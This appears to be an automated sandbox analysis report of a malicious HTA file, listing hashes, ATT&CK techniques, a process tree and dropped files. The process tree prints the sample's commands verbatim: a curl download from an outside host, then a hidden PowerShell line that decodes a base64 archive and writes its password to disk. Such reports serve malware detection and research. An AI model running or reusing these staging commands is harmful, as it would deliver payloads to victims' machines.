e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468

Analysis

max time kernel
149s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 13:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpqva60krw.hta
Size 3KB
Sample260601-qfhrlsfs7m
SHA256 e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468
MD5 a129784c46e29132dcdf809ed46e8ae9
SHA1 879727bcf444ea9c02da9f1d9980bfa76c95bfb0
SHA512 08f88c44edc6c152b3d2d21b5f6eab8933ce5c43ad5243faa683802feb15b8d7616024140020a23dd452982ed936dcf5c19c5fb2a2bebf726fbd32fe0f0ce815
TLSH
T16681C72BACCBAE549D01641461ECCCC8F3D951D3641550AF3E29DC8F8FDAADBA4B305A
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2104	powershell.exe
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 2492	1264	mshta.exe	79
PID 2492 wrote to memory of 4844	2492	cmd.exe	81
PID 4844 wrote to memory of 3296	4844	net.exe	82
PID 2492 wrote to memory of 2444	2492	cmd.exe	83
PID 2492 wrote to memory of 2104	2492	cmd.exe	84

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\tmpqva60krw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\help.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:3296
- - C:\Windows\SysWOW64\curl.exe
    curl -s "https://kak.is/get_it.php" -o "C:\Users\Public\Documents\data.json"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2444
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Web; $j=Get-Content 'C:\Users\Public\Documents\data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('C:\Users\Public\Documents\out.7z',[Convert]::FromBase64String($j.encoded_data)); Set-Content -Path 'C:\Users\Public\Documents\password.txt' -Value $j.password}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_qjk224af.geu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjk224af.geu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

help.bat

Path C:\Users\Public\Documents\help.bat
Size 2KB
SHA256 58fb2dccb78634036edf6d227a90f31fa93ec61d1f092a7eef5a66a2e6f2c8d1
MD5 0db84a1f2a01e3ad518e4175f15deebc
SHA1 ed9b67eb2aa040987d33f1b9276af999e3ef633a
SHA512 0b85a1536f8d0c5da61e4d39754395de87243d5910c5c28c1befe8903f6929879446c062fa365b8e1e774973bfb5ba5549d01d1558fc3d3d62466135dbe1d171
TLSH
T152418E56210227684D35746475B246C3DE07E88F2FA0F2C57988653C2F1AF954BABCBE
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2104-16-0x0000000006730000-0x000000000674E000-memory.dmp

Download

memory/2104-17-0x0000000006780000-0x00000000067CC000-memory.dmp

Download

memory/2104-7-0x0000000006190000-0x00000000061F6000-memory.dmp

Download

memory/2104-8-0x0000000006200000-0x0000000006266000-memory.dmp

Download

memory/2104-5-0x0000000005950000-0x0000000005F7A000-memory.dmp

Download

memory/2104-15-0x0000000006310000-0x0000000006667000-memory.dmp

Download

memory/2104-4-0x00000000052E0000-0x0000000005316000-memory.dmp

Download

memory/2104-6-0x0000000005FF0000-0x0000000006012000-memory.dmp

Download

memory/2104-18-0x0000000007E80000-0x00000000084FA000-memory.dmp

Download

memory/2104-19-0x0000000006C70000-0x0000000006C8A000-memory.dmp

Download

memory/2104-20-0x0000000008A30000-0x0000000008F5C000-memory.dmp

Download

memory/2104-21-0x0000000007B50000-0x0000000007BE6000-memory.dmp

Download

memory/2104-22-0x0000000007750000-0x0000000007772000-memory.dmp

Download

memory/2104-23-0x0000000009510000-0x0000000009AB6000-memory.dmp

Download

memory/2104-24-0x0000000008500000-0x00000000086C2000-memory.dmp

Download